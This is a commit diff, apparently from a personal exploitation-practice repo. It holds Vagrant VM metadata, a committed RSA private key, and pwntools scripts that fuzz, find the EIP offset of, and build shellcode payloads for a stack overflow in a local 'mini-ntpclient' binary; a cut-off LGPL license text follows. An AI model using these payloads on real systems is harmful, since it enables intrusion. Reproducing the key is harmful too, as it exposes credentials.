This commit is contained in:
commit
915386cc5e
|
@ -0,0 +1 @@
|
|||
1.5:24320dd9-3b8a-4c18-92b1-aa619a544ab0
|
|
@ -0,0 +1 @@
|
|||
1596770007
|
|
@ -0,0 +1 @@
|
|||
{"name":"puppetlabs/debian-8.2-32-puppet","version":"1.0.1","provider":"virtualbox","directory":"boxes/puppetlabs-VAGRANTSLASH-debian-8.2-32-puppet/1.0.1/virtualbox"}
|
|
@ -0,0 +1 @@
|
|||
1000
|
|
@ -0,0 +1 @@
|
|||
24320dd9-3b8a-4c18-92b1-aa619a544ab0
|
|
@ -0,0 +1 @@
|
|||
b8ed5b16e0da4680baf0800966492bfc
|
|
@ -0,0 +1,27 @@
|
|||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEpAIBAAKCAQEAvt9xjHLN8mDpJfwppiXAY7aJsHiS9YV1QV6FBtp5Q2kKKIVe
|
||||
uvEPkCpMIMqhPxrBKdcLTsSDS+gJJZ1fkKCk1rnU7v322oKnpoaN+xbRpj4o6x4o
|
||||
9nFbMd57ZjCQ3kU0LG5K5lrDJ9jzPnwjHoI5G1f4gvzaliiuK4rWjLcXYNCXDKSp
|
||||
6tydWxyKbXZxGJp1cAMfLQeprEi3VpXj9uMVD7teV8fmUd0jYRCaeYMD4EHVNKWv
|
||||
iaw4WDTCNjACHybDjqS/LuPKoO8ImrzafoCtmmXwzHRzuJ08FITpwRSAALny5erR
|
||||
t6+OymcIfM8QiBAs7OAKCLOXnyaMH67gk7+3fQIDAQABAoIBAQClhpywEfdr1IMc
|
||||
P9vWjDKVxn0NnuLDLOOMtu1iDiDPRs5aaZ7HO7olaajvXwoK8abGJAlYW68JKsaT
|
||||
6jAv+kA5PprcTz2+LUQ6c8G5GAbjxlAx5cvcPF27l5cn/cIEH7upNFScA+XuLoRz
|
||||
ka/bC09+2QFYhvMA+XJhrFt3WGhbuchpiZ+cdrVS00NwLnVB9b1HNsOPjuTbcl9b
|
||||
glM04y2F6zPB3BXgjb5EZhiNtxFS01kx1q+BYHvoEdpEQwufccVSM8JjFcbnqjWk
|
||||
UcOfFJuUPSYK+Gnnc8iDtJ+xho6rE71/zvaiq7/udzR5BDyaHPCbl6aIIuK8BKpj
|
||||
+p51AJABAoGBAO5JxPIJ/DKKXMMfxNJWFrUwrGqwjVstYKp+zFEkibgRoe0Trlb5
|
||||
nXljlCZCi3fZrR2LVo30VFjZ+In9jmYxeq1c+TSD70YsBo+5pO+sNHVuwK4K7v7i
|
||||
a6vQAz4nAOE9qdsoo52MIiVB1OlyYjNYswK/cAXeZdgT1GOKkY22M+F9AoGBAM0P
|
||||
cEja232OPD3Oa2QTSDdIstMNINblEYgVFX7cqYw6rfhfo98fcQvFFxDb0+dmvuVi
|
||||
VtPbKSFRLxC+nuOU0ny/xLD4DQDJw9P0a3SD+aI+eG6nnohb8CR/uXtcEZVU3eAt
|
||||
AHl8EgIqsfHaJPxBIZGqvQEFrU75/tOHTLdpww4BAoGBAJW6TMI5e/rV7gu9fpMb
|
||||
/RDFENHJNklAbikzm3axGshKbBDn+Pg1yLlp1MFltvUMFjcmQrDYAdgCvqUWac/U
|
||||
71zXus9Ax6y0JTtST006S4wul2vE+v+1jipbfm4jW+4sLPrEwmpQj3QRtZMqiIHz
|
||||
Dih/2ggWArCPZTlW7La68kaRAoGAcKT3eH4JLqqQux8GbT4OYJgl67v9ey7wd4Gl
|
||||
gj/zP14IrTTUjz/1WJLW/eLUP/x4BwgDTHPK30t6gEdGfxwEmJS7lr9cXT94vJk6
|
||||
4hGRcye//oFDnAJtI4+qM3K7Ef5Bt+DgrtuSBPCxOXss8AlTSHKzSrl0n7rC2i4r
|
||||
3WFSzgECgYAdoIVnniJDYhiFeBVi/gQWbOgSzFQJNycpYobRC+DI4tGxQjUrJvnL
|
||||
p2Dwt5RpxfmAFrhcCuu3OoAuryK6okSo9eMxbljqD9JGd+OKC+lSWBrdwvGyylNZ
|
||||
p3MVXWtAchRJbI4ms4jR3ThD7CK1kKpOEYnI4JkNHirKgIgocFnFsw==
|
||||
-----END RSA PRIVATE KEY-----
|
|
@ -0,0 +1 @@
|
|||
{"virtualbox":{"/vagrant":{"guestpath":"/vagrant","hostpath":"/home/kod/rev","disabled":false,"__vagrantfile":true}}}
|
|
@ -0,0 +1 @@
|
|||
/home/kod/rev
|
|
@ -0,0 +1,9 @@
|
|||
# This file loads the proper rgloader/loader.rb file that comes packaged
|
||||
# with Vagrant so that encoded files can properly run with Vagrant.
|
||||
|
||||
if ENV["VAGRANT_INSTALLER_EMBEDDED_DIR"]
|
||||
require File.expand_path(
|
||||
"rgloader/loader", ENV["VAGRANT_INSTALLER_EMBEDDED_DIR"])
|
||||
else
|
||||
raise "Encoded files can't be read outside of the Vagrant installer."
|
||||
end
|
|
@ -0,0 +1,70 @@
|
|||
# -*- mode: ruby -*-
|
||||
# vi: set ft=ruby :
|
||||
|
||||
# All Vagrant configuration is done below. The "2" in Vagrant.configure
|
||||
# configures the configuration version (we support older styles for
|
||||
# backwards compatibility). Please don't change it unless you know what
|
||||
# you're doing.
|
||||
Vagrant.configure("2") do |config|
|
||||
# The most common configuration options are documented and commented below.
|
||||
# For a complete reference, please see the online documentation at
|
||||
# https://docs.vagrantup.com.
|
||||
|
||||
# Every Vagrant development environment requires a box. You can search for
|
||||
# boxes at https://vagrantcloud.com/search.
|
||||
config.vm.box = "puppetlabs/debian-8.2-32-puppet"
|
||||
|
||||
# Disable automatic box update checking. If you disable this, then
|
||||
# boxes will only be checked for updates when the user runs
|
||||
# `vagrant box outdated`. This is not recommended.
|
||||
# config.vm.box_check_update = false
|
||||
|
||||
# Create a forwarded port mapping which allows access to a specific port
|
||||
# within the machine from a port on the host machine. In the example below,
|
||||
# accessing "localhost:8080" will access port 80 on the guest machine.
|
||||
# NOTE: This will enable public access to the opened port
|
||||
# config.vm.network "forwarded_port", guest: 80, host: 8080
|
||||
|
||||
# Create a forwarded port mapping which allows access to a specific port
|
||||
# within the machine from a port on the host machine and only allow access
|
||||
# via 127.0.0.1 to disable public access
|
||||
# config.vm.network "forwarded_port", guest: 80, host: 8080, host_ip: "127.0.0.1"
|
||||
|
||||
# Create a private network, which allows host-only access to the machine
|
||||
# using a specific IP.
|
||||
# config.vm.network "private_network", ip: "192.168.33.10"
|
||||
|
||||
# Create a public network, which generally matched to bridged network.
|
||||
# Bridged networks make the machine appear as another physical device on
|
||||
# your network.
|
||||
# config.vm.network "public_network"
|
||||
|
||||
# Share an additional folder to the guest VM. The first argument is
|
||||
# the path on the host to the actual folder. The second argument is
|
||||
# the path on the guest to mount the folder. And the optional third
|
||||
# argument is a set of non-required options.
|
||||
# config.vm.synced_folder "../data", "/vagrant_data"
|
||||
|
||||
# Provider-specific configuration so you can fine-tune various
|
||||
# backing providers for Vagrant. These expose provider-specific options.
|
||||
# Example for VirtualBox:
|
||||
#
|
||||
config.vm.provider "virtualbox" do |vb|
|
||||
# # Display the VirtualBox GUI when booting the machine
|
||||
# vb.gui = true
|
||||
#
|
||||
# # Customize the amount of memory on the VM:
|
||||
vb.memory = "1024"
|
||||
end
|
||||
#
|
||||
# View the documentation for the provider you are using for more
|
||||
# information on available options.
|
||||
|
||||
# Enable provisioning with a shell script. Additional provisioners such as
|
||||
# Ansible, Chef, Docker, Puppet and Salt are also available. Please see the
|
||||
# documentation for more information about their specific syntax and use.
|
||||
# config.vm.provision "shell", inline: <<-SHELL
|
||||
# apt-get update
|
||||
# apt-get install -y apache2
|
||||
# SHELL
|
||||
end
|
|
@ -0,0 +1,23 @@
|
|||
from pwn import *
|
||||
import base64
|
||||
|
||||
context.update(arch='i686', os='linux')
|
||||
|
||||
# Connect to the server with SSH
|
||||
ssh_connection = ssh('vagrant', 'default', port=2222)
|
||||
|
||||
# Open a shell to write more stuff to
|
||||
bash = ssh_connection.run('bash')
|
||||
|
||||
|
||||
for i in range(50, 350):
|
||||
bash.sendline('/vagrant/mini-ntpclient '+ ("A" * i) )
|
||||
received = bash.recvline(timeout=.02) # output from program
|
||||
received += bash.recvline(timeout=.02) # Segmentation fault if crash else empty
|
||||
if 'Segmentation' in str(received):
|
||||
# For some reason when sent through pwntools the buffer to crash was 1 length longer than
|
||||
# it should have been?
|
||||
print('Crash at %d characters' % (i - 1))
|
||||
print('Crash at value will be %s' % hex(i - 1))
|
||||
break
|
||||
|
|
@ -0,0 +1,29 @@
|
|||
from pwn import *
|
||||
context(arch = 'i386', os = 'linux')
|
||||
|
||||
# Generate a cyclic pattern so that we can auto-find the offset
|
||||
payload = cyclic(400)
|
||||
|
||||
# Run the process once so that it crashes
|
||||
process(['./mini-ntpclient', payload]).wait()
|
||||
|
||||
# Get the core dump
|
||||
core = Coredump('./core')
|
||||
|
||||
# Our cyclic pattern should have been used as the crashing address
|
||||
print(type(pack(core.eip)))
|
||||
print(type(payload))
|
||||
assert pack(core.eip) in payload
|
||||
|
||||
|
||||
# Cool! Now let's just replace that value with the address of 'win'
|
||||
#crash = ELF('./mini-ntpclient')
|
||||
#payload = fit({
|
||||
# cyclic_find(core.rip): crash.symbols.win
|
||||
#})
|
||||
|
||||
# Get a shell!
|
||||
#io = process(['./mini-ntpclient' , payload])
|
||||
#io.sendline(b'id')
|
||||
#print(io.recvline())
|
||||
# uid=1000(user) gid=1000(user) groups=1000(user)
|
|
@ -0,0 +1,29 @@
|
|||
from pwn import *
|
||||
import base64
|
||||
|
||||
context.update(arch='i686', os='linux')
|
||||
|
||||
# Connect to the server with SSH
|
||||
ssh_connection = ssh('vagrant', 'default', port=2222)
|
||||
|
||||
# Open a shell to write more stuff to
|
||||
bash = ssh_connection.run('bash')
|
||||
|
||||
crash_at = 0x107
|
||||
|
||||
payload = cyclic(crash_at)
|
||||
|
||||
a = str()
|
||||
for i in payload:
|
||||
a += "\\x%x" % i
|
||||
|
||||
|
||||
bash.sendline('ulimit -c unlimited')
|
||||
#bash.sendline('/vagrant/mini-ntpclient ' + payload.hex() )
|
||||
bash.sendline('gdb /vagrant/mini-ntpclient')
|
||||
#bash.sendline('run ' + str(a))
|
||||
bash.sendline('run ' + str(cyclic(crash_at)))
|
||||
|
||||
# Hand an interactive shell back to the user
|
||||
bash.interactive()
|
||||
|
|
@ -0,0 +1,25 @@
|
|||
from pwn import *
|
||||
import base64
|
||||
|
||||
context.update(arch='i386', os='linux')
|
||||
|
||||
# Connect to the server with SSH
|
||||
ssh_connection = ssh('vagrant', 'default', port=2222)
|
||||
|
||||
# Open a shell to write more stuff to
|
||||
bash = ssh_connection.run('bash')
|
||||
|
||||
#crash_at = 0x12c
|
||||
|
||||
crash_at = 264
|
||||
eip_crash = 0x61616663
|
||||
eip_crash_buffer = cyclic_find(eip_crash)
|
||||
|
||||
# Create a test payload which writes up to the EIP with A's, writes over the EIP with B's and then writes C's
|
||||
payload = 'A' * eip_crash_buffer + ('B' * 4) + ('C' * (crash_at - eip_crash_buffer - 4))
|
||||
|
||||
# Send the payload
|
||||
bash.sendline('gdb /vagrant/mini-ntpclient')
|
||||
bash.sendline('run '+ str(payload))
|
||||
# Hand an interactive shell back to the user
|
||||
bash.interactive()
|
|
@ -0,0 +1,45 @@
|
|||
from pwn import *
|
||||
import base64
|
||||
|
||||
context.update(arch='i686', os='linux')
|
||||
|
||||
# Connect to the server with SSH
|
||||
ssh_connection = ssh('vagrant', 'default', port=2222)
|
||||
|
||||
# Open a shell to write more stuff to
|
||||
bash = ssh_connection.run('bash')
|
||||
|
||||
|
||||
|
||||
#crash_at = 0x107
|
||||
crash_at = 264
|
||||
#eip_crash = 0x61616663
|
||||
eip_crash = 0x43424242
|
||||
esp_location = pack(0xbffff600)
|
||||
eip_crash_buffer = cyclic_find(eip_crash)
|
||||
|
||||
|
||||
|
||||
shellcode = shellcraft.sh()
|
||||
nop_sled = asm('nop') * (crash_at - eip_crash_buffer - len(esp_location) - len(shellcode))
|
||||
payload = b'A' * eip_crash_buffer + esp_location + nop_sled
|
||||
|
||||
|
||||
payload = cyclic(300) + esp_location
|
||||
|
||||
print(shellcraft.sh())
|
||||
#payload = cyclic(eip_crash_buffer)
|
||||
payload += asm(shellcode)
|
||||
|
||||
a = str()
|
||||
for i in payload:
|
||||
a += "\\\\x%x" % i
|
||||
|
||||
bash.sendline('ulimit -c unlimited')
|
||||
#bash.sendline('/vagrant/mini-ntpclient ' + payload.hex() )
|
||||
bash.sendline('gdb /vagrant/mini-ntpclient ' )
|
||||
bash.sendline('run ' + str(a))
|
||||
#bash.sendline('run ' + str(cyclic(crash_at)))
|
||||
|
||||
# Hand an interactive shell back to the user
|
||||
bash.interactive()
|
Binary file not shown.
|
@ -0,0 +1,45 @@
|
|||
*.[oa]
|
||||
*~
|
||||
*.so
|
||||
*.bak
|
||||
*.pyc
|
||||
*-orig
|
||||
*-sav
|
||||
foo*
|
||||
goo*
|
||||
node.log
|
||||
Makefile
|
||||
conf.h
|
||||
config.status
|
||||
config.log
|
||||
config.cache
|
||||
debug.html
|
||||
js9
|
||||
js9helper.pc
|
||||
.DS_Store
|
||||
funcalc
|
||||
funcen
|
||||
funcnts
|
||||
funcnts.plot
|
||||
funcnts.sed
|
||||
funcone
|
||||
fundisp
|
||||
funds9
|
||||
funhead
|
||||
funhist
|
||||
funhist.plot
|
||||
funimage
|
||||
funindex
|
||||
funjoin
|
||||
funmerge
|
||||
funsky
|
||||
funtable
|
||||
funtbl
|
||||
funtools.ds9
|
||||
funtools.pc
|
||||
gcat
|
||||
configure
|
||||
gnu/_funsort
|
||||
util/NaN.h
|
||||
autom4te.cache
|
||||
a.out.dSYM
|
|
@ -0,0 +1,504 @@
|
|||
GNU LESSER GENERAL PUBLIC LICENSE
|
||||
Version 2.1, February 1999
|
||||
|
||||
Copyright (C) 1991, 1999 Free Software Foundation, Inc.
|
||||
59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
[This is the first released version of the Lesser GPL. It also counts
|
||||
as the successor of the GNU Library Public License, version 2, hence
|
||||
the version number 2.1.]
|
||||
|
||||
Preamble
|
||||
|
||||
The licenses for most software are designed to take away your
|
||||
freedom to share and change it. By contrast, the GNU General Public
|
||||
Licenses are intended to guarantee your freedom to share and change
|
||||
free software--to make sure the software is free for all its users.
|
||||
|
||||
This license, the Lesser General Public License, applies to some
|
||||
specially designated software packages--typically libraries--of the
|
||||
Free Software Foundation and other authors who decide to use it. You
|
||||
can use it too, but we suggest you first think carefully about whether
|
||||
this license or the ordinary General Public License is the better
|
||||
strategy to use in any particular case, based on the explanations below.
|
||||
|
||||
When we speak of free software, we are referring to freedom of use,
|
||||
not price. Our General Public Licenses are designed to make sure that
|
||||
you have the freedom to distribute copies of free software (and charge
|
||||
for this service if you wish); that you receive source code or can get
|
||||
it if you want it; that you can change the software and use pieces of
|
||||
it in new free programs; and that you are informed that you can do
|
||||
these things.
|
||||
|
||||
To protect your rights, we need to make restrictions that forbid
|
||||
distributors to deny you these rights or to ask you to surrender these
|
||||
rights. These restrictions translate to certain responsibilities for
|
||||
you if you distribute copies of the library or if you modify it.
|
||||
|
||||
For example, if you distribute copies of the library, whether gratis
|
||||
or for a fee, you must give the recipients all the rights that we gave
|
||||
you. You must make sure that they, too, receive or can get the source
|
||||
code. If you link other code with the library, you must provide
|
||||
complete object files to the recipients, so that they can relink them
|
||||
with the library after making changes to the library and recompiling
|
||||
it. And you must show them these terms so they know their rights.
|
||||
|
||||
We protect your rights with a two-step method: (1) we copyright the
|
||||
library, and (2) we offer you this license, which gives you legal
|
||||
permission to copy, distribute and/or modify the library.
|
||||
|
||||
To protect each distributor, we want to make it very clear that
|
||||
there is no warranty for the free library. Also, if the library is
|
||||
modified by someone else and passed on, the recipients should know
|
||||
that what they have is not the original version, so that the original
|
||||
author's reputation will not be affected by problems that might be
|
||||
introduced by others.
|
||||
|
||||
Finally, software patents pose a constant threat to the existence of
|
||||
any free program. We wish to make sure that a company cannot
|
||||
effectively restrict the users of a free program by obtaining a
|
||||
restrictive license from a patent holder. Therefore, we insist that
|
||||
any patent license obtained for a version of the library must be
|
||||
consistent with the full freedom of use specified in this license.
|
||||
|
||||
Most GNU software, including some libraries, is covered by the
|
||||
ordinary GNU General Public License. This license, the GNU Lesser
|
||||
General Public License, applies to certain designated libraries, and
|
||||
is quite different from the ordinary General Public License. We use
|
||||
this license for certain libraries in order to permit linking those
|
||||
libraries into non-free programs.
|
||||
|
||||
When a program is linked with a library, whether statically or using
|
||||
a shared library, the combination of the two is legally speaking a
|
||||
combined work, a derivative of the original library. The ordinary
|
||||
General Public License therefore permits such linking only if the
|
||||
entire combination fits its criteria of freedom. The Lesser General
|
||||
Public License permits more lax criteria for linking other code with
|
||||
the library.
|
||||
|
||||
We call this license the "Lesser" General Public License because it
|
||||
does Less to protect the user's freedom than the ordinary General
|
||||
Public License. It also provides other free software developers Less
|
||||
of an advantage over competing non-free programs. These disadvantages
|
||||
are the reason we use the ordinary General Public License for many
|
||||
libraries. However, the Lesser license provides advantages in certain
|
||||
special circumstances.
|
||||
|
||||
For example, on rare occasions, there may be a special need to
|
||||
encourage the widest possible use of a certain library, so that it becomes
|
||||
a de-facto standard. To achieve this, non-free programs must be
|
||||
allowed to use the library. A more frequent case is that a free
|
||||
library does the same job as widely used non-free libraries. In this
|
||||
case, there is little to gain by limiting the free library to free
|
||||
software only, so we use the Lesser General Public License.
|
||||
|
||||
In other cases, permission to use a particular library in non-free
|
||||
programs enables a greater number of people to use a large body of
|
||||
free software. For example, permission to use the GNU C Library in
|
||||
non-free programs enables many more people to use the whole GNU
|
||||
operating system, as well as its variant, the GNU/Linux operating
|
||||
system.
|
||||
|
||||
Although the Lesser General Public License is Less protective of the
|
||||
users' freedom, it does ensure that the user of a program that is
|
||||
linked with the Library has the freedom and the wherewithal to run
|
||||
that program using a modified version of the Library.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow. Pay close attention to the difference between a
|
||||
"work based on the library" and a "work that uses the library". The
|
||||
former contains code derived from the library, whereas the latter must
|
||||
be combined with the library in order to run.
|
||||
|
||||
GNU LESSER GENERAL PUBLIC LICENSE
|
||||
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
||||
|
||||
0. This License Agreement applies to any software library or other
|
||||
program which contains a notice placed by the copyright holder or
|
||||
other authorized party saying it may be distributed under the terms of
|
||||
this Lesser General Public License (also called "this License").
|
||||
Each licensee is addressed as "you".
|
||||
|
||||
A "library" means a collection of software functions and/or data
|
||||
prepared so as to be conveniently linked with application programs
|
||||
(which use some of those functions and data) to form executables.
|
||||
|
||||
The "Library", below, refers to any such software library or work
|
||||
which has been distributed under these terms. A "work based on the
|
||||
Library" means either the Library or any derivative work under
|
||||
copyright law: that is to say, a work containing the Library or a
|
||||
portion of it, either verbatim or with modifications and/or translated
|
||||
straightforwardly into another language. (Hereinafter, translation is
|
||||
included without limitation in the term "modification".)
|
||||
|
||||
"Source code" for a work means the preferred form of the work for
|
||||
making modifications to it. For a library, complete source code means
|
||||
all the source code for all modules it contains, plus any associated
|
||||
interface definition files, plus the scripts used to control compilation
|
||||
and installation of the library.
|
||||
|
||||
Activities other than copying, distribution and modification are not
|
||||
covered by this License; they are outside its scope. The act of
|
||||
running a program using the Library is not restricted, and output from
|
||||
such a program is covered only if its contents constitute a work based
|
||||
on the Library (independent of the use of the Library in a tool for
|
||||
writing it). Whether that is true depends on what the Library does
|
||||
and what the program that uses the Library does.
|
||||
|
||||
1. You may copy and distribute verbatim copies of the Library's
|
||||
complete source code as you receive it, in any medium, provided that
|
||||
you conspicuously and appropriately publish on each copy an
|
||||
appropriate copyright notice and disclaimer of warranty; keep intact
|
||||
all the notices that refer to this License and to the absence of any
|
||||
warranty; and distribute a copy of this License along with the
|
||||
Library.
|
||||
|
||||
You may charge a fee for the physical act of transferring a copy,
|
||||
and you may at your option offer warranty protection in exchange for a
|
||||
fee.
|
||||
|
||||
2. You may modify your copy or copies of the Library or any portion
|
||||
of it, thus forming a work based on the Library, and copy and
|
||||
distribute such modifications or work under the terms of Section 1
|
||||
above, provided that you also meet all of these conditions:
|
||||
|
||||
a) The modified work must itself be a software library.
|
||||
|
||||
b) You must cause the files modified to carry prominent notices
|
||||
stating that you changed the files and the date of any change.
|
||||
|
||||
c) You must cause the whole of the work to be licensed at no
|
||||
charge to all third parties under the terms of this License.
|
||||
|
||||
d) If a facility in the modified Library refers to a function or a
|
||||
table of data to be supplied by an application program that uses
|
||||
the facility, other than as an argument passed when the facility
|
||||
is invoked, then you must make a good faith effort to ensure that,
|
||||
in the event an application does not supply such function or
|
||||
table, the facility still operates, and performs whatever part of
|
||||
its purpose remains meaningful.
|
||||
|
||||
(For example, a function in a library to compute square roots has
|
||||
a purpose that is entirely well-defined independent of the
|
||||
application. Therefore, Subsection 2d requires that any
|
||||
application-supplied function or table used by this function must
|
||||
be optional: if the application does not supply it, the square
|
||||
root function must still compute square roots.)
|
||||
|
||||
These requirements apply to the modified work as a whole. If
|
||||
identifiable sections of that work are not derived from the Library,
|
||||
and can be reasonably considered independent and separate works in
|
||||
themselves, then this License, and its terms, do not apply to those
|
||||
sections when you distribute them as separate works. But when you
|
||||
distribute the same sections as part of a whole which is a work based
|
||||
on the Library, the distribution of the whole must be on the terms of
|
||||
this License, whose permissions for other licensees extend to the
|
||||
entire whole, and thus to each and every part regardless of who wrote
|
||||
it.
|
||||
|
||||
Thus, it is not the intent of this section to claim rights or contest
|
||||
your rights to work written entirely by you; rather, the intent is to
|
||||
exercise the right to control the distribution of derivative or
|
||||
collective works based on the Library.
|
||||
|
||||
In addition, mere aggregation of another work not based on the Library
|
||||
with the Library (or with a work based on the Library) on a volume of
|
||||
a storage or distribution medium does not bring the other work under
|
||||
the scope of this License.
|
||||
|
||||
3. You may opt to apply the terms of the ordinary GNU General Public
|
||||
License instead of this License to a given copy of the Library. To do
|
||||
this, you must alter all the notices that refer to this License, so
|
||||
that they refer to the ordinary GNU General Public License, version 2,
|
||||
instead of to this License. (If a newer version than version 2 of the
|
||||
ordinary GNU General Public License has appeared, then you can specify
|
||||
that version instead if you wish.) Do not make any other change in
|
||||
these notices.
|
||||
|
||||
Once this change is made in a given copy, it is irreversible for
|
||||
that copy, so the ordinary GNU General Public License applies to all
|
||||
subsequent copies and derivative works made from that copy.
|
||||
|
||||
This option is useful when you wish to copy part of the code of
|
||||
the Library into a program that is not a library.
|
||||
|
||||
4. You may copy and distribute the Library (or a portion or
|
||||
derivative of it, under Section 2) in object code or executable form
|
||||
under the terms of Sections 1 and 2 above provided that you accompany
|
||||
it with the complete corresponding machine-readable source code, which
|
||||
must be distributed under the terms of Sections 1 and 2 above on a
|
||||
medium customarily used for software interchange.
|
||||
|
||||
If distribution of object code is made by offering access to copy
|
||||
from a designated place, then offering equivalent access to copy the
|
||||
source code from the same place satisfies the requirement to
|
||||
distribute the source code, even though third parties are not
|
||||
compelled to copy the source along with the object code.
|
||||
|
||||
5. A program that contains no derivative of any portion of the
|
||||
Library, but is designed to work with the Library by being compiled or
|
||||
linked with it, is called a "work that uses the Library". Such a
|
||||
work, in isolation, is not a derivative work of the Library, and
|
||||
therefore falls outside the scope of this License.
|
||||
|
||||
However, linking a "work that uses the Library" with the Library
|
||||
creates an executable that is a derivative of the Library (because it
|
||||
contains portions of the Library), rather than a "work that uses the
|
||||
library". The executable is therefore covered by this License.
|
||||
Section 6 states terms for distribution of such executables.
|
||||
|
||||
When a "work that uses the Library" uses material from a header file
|
||||
that is part of the Library, the object code for the work may be a
|
||||
derivative work of the Library even though the source code is not.
|
||||
Whether this is true is especially significant if the work can be
|
||||
linked without the Library, or if the work is itself a library. The
|
||||
threshold for this to be true is not precisely defined by law.
|
||||
|
||||
If such an object file uses only numerical parameters, data
|
||||
structure layouts and accessors, and small macros and small inline
|
||||
functions (ten lines or less in length), then the use of the object
|
||||
file is unrestricted, regardless of whether it is legally a derivative
|
||||
work. (Executables containing this object code plus portions of the
|
||||
Library will still fall under Section 6.)
|
||||
|
||||
Otherwise, if the work is a derivative of the Library, you may
|
||||
distribute the object code for the work under the terms of Section 6.
|
||||
Any executables containing that work also fall under Section 6,
|
||||
whether or not they are linked directly with the Library itself.
|
||||
|
||||
6. As an exception to the Sections above, you may also combine or
|
||||
link a "work that uses the Library" with the Library to produce a
|
||||
work containing portions of the Library, and distribute that work
|
||||
under terms of your choice, provided that the terms permit
|
||||
modification of the work for the customer's own use and reverse
|
||||
engineering for debugging such modifications.
|
||||
|
||||
You must give prominent notice with each copy of the work that the
|
||||
Library is used in it and that the Library and its use are covered by
|
||||
this License. You must supply a copy of this License. If the work
|
||||
during execution displays copyright notices, you must include the
|
||||
copyright notice for the Library among them, as well as a reference
|
||||
directing the user to the copy of this License. Also, you must do one
|
||||
of these things:
|
||||
|
||||
a) Accompany the work with the complete corresponding
|
||||
machine-readable source code for the Library including whatever
|
||||
changes were used in the work (which must be distributed under
|
||||
Sections 1 and 2 above); and, if the work is an executable linked
|
||||
with the Library, with the complete machine-readable "work that
|
||||
uses the Library", as object code and/or source code, so that the
|
||||
user can modify the Library and then relink to produce a modified
|
||||
executable containing the modified Library. (It is understood
|
||||
that the user who changes the contents of definitions files in the
|
||||
Library will not necessarily be able to recompile the application
|
||||
to use the modified definitions.)
|
||||
|
||||
b) Use a suitable shared library mechanism for linking with the
|
||||
Library. A suitable mechanism is one that (1) uses at run time a
|
||||
copy of the library already present on the user's computer system,
|
||||
rather than copying library functions into the executable, and (2)
|
||||
will operate properly with a modified version of the library, if
|
||||
the user installs one, as long as the modified version is
|
||||
interface-compatible with the version that the work was made with.
|
||||
|
||||
c) Accompany the work with a written offer, valid for at
|
||||
least three years, to give the same user the materials
|
||||
specified in Subsection 6a, above, for a charge no more
|
||||
than the cost of performing this distribution.
|
||||
|
||||
d) If distribution of the work is made by offering access to copy
|
||||
from a designated place, offer equivalent access to copy the above
|
||||
specified materials from the same place.
|
||||
|
||||
e) Verify that the user has already received a copy of these
|
||||
materials or that you have already sent this user a copy.
|
||||
|
||||
For an executable, the required form of the "work that uses the
|
||||
Library" must include any data and utility programs needed for
|
||||
reproducing the executable from it. However, as a special exception,
|
||||
the materials to be distributed need not include anything that is
|
||||
normally distributed (in either source or binary form) with the major
|
||||
components (compiler, kernel, and so on) of the operating system on
|
||||
which the executable runs, unless that component itself accompanies
|
||||
the executable.
|
||||
|
||||
It may happen that this requirement contradicts the license
|
||||
restrictions of other proprietary libraries that do not normally
|
||||
accompany the operating system. Such a contradiction means you cannot
|
||||
use both them and the Library together in an executable that you
|
||||
distribute.
|
||||
|
||||
7. You may place library facilities that are a work based on the
|
||||
Library side-by-side in a single library together with other library
|
||||
facilities not covered by this License, and distribute such a combined
|
||||
library, provided that the separate distribution of the work based on
|
||||
the Library and of the other library facilities is otherwise
|
||||
permitted, and provided that you do these two things:
|
||||
|
||||
a) Accompany the combined library with a copy of the same work
|
||||
based on the Library, uncombined with any other library
|
||||
facilities. This must be distributed under the terms of the
|
||||
Sections above.
|
||||
|
||||
b) Give prominent notice with the combined library of the fact
|
||||
that part of it is a work based on the Library, and explaining
|
||||
where to find the accompanying uncombined form of the same work.
|
||||
|
||||
8. You may not copy, modify, sublicense, link with, or distribute
|
||||
the Library except as expressly provided under this License. Any
|
||||
attempt otherwise to copy, modify, sublicense, link with, or
|
||||
distribute the Library is void, and will automatically terminate your
|
||||
rights under this License. However, parties who have received copies,
|
||||
or rights, from you under this License will not have their licenses
|
||||
terminated so long as such parties remain in full compliance.
|
||||
|
||||
9. You are not required to accept this License, since you have not
|
||||
signed it. However, nothing else grants you permission to modify or
|
||||
distribute the Library or its derivative works. These actions are
|
||||
prohibited by law if you do not accept this License. Therefore, by
|
||||
modifying or distributing the Library (or any work based on the
|
||||
Library), you indicate your acceptance of this License to do so, and
|
||||
all its terms and conditions for copying, distributing or modifying
|
||||
the Library or works based on it.
|
||||
|
||||
10. Each time you redistribute the Library (or any work based on the
|
||||
Library), the recipient automatically receives a license from the
|
||||
original licensor to copy, distribute, link with or modify the Library
|
||||
subject to these terms and conditions. You may not impose any further
|
||||
restrictions on the recipients' exercise of the rights granted herein.
|
||||
You are not responsible for enforcing compliance by third parties with
|
||||
this License.
|
||||
|
||||
11. If, as a consequence of a court judgment or allegation of patent
|
||||
infringement or for any other reason (not limited to patent issues),
|
||||
conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot
|
||||
distribute so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you
|
||||
may not distribute the Library at all. For example, if a patent
|
||||
license would not permit royalty-free redistribution of the Library by
|
||||
all those who receive copies directly or indirectly through you, then
|
||||
the only way you could satisfy both it and this License would be to
|
||||
refrain entirely from distribution of the Library.
|
||||
|
||||
If any portion of this section is held invalid or unenforceable under any
|
||||
particular circumstance, the balance of the section is intended to apply,
|
||||
and the section as a whole is intended to apply in other circumstances.
|
||||
|
||||
It is not the purpose of this section to induce you to infringe any
|
||||
patents or other property right claims or to contest validity of any
|
||||
such claims; this section has the sole purpose of protecting the
|
||||
integrity of the free software distribution system which is
|
||||
implemented by public license practices. Many people have made
|
||||
generous contributions to the wide range of software distributed
|
||||
through that system in reliance on consistent application of that
|
||||
system; it is up to the author/donor to decide if he or she is willing
|
||||
to distribute software through any other system and a licensee cannot
|
||||
impose that choice.
|
||||
|
||||
This section is intended to make thoroughly clear what is believed to
|
||||
be a consequence of the rest of this License.
|
||||
|
||||
12. If the distribution and/or use of the Library is restricted in
|
||||
certain countries either by patents or by copyrighted interfaces, the
|
||||
original copyright holder who places the Library under this License may add
|
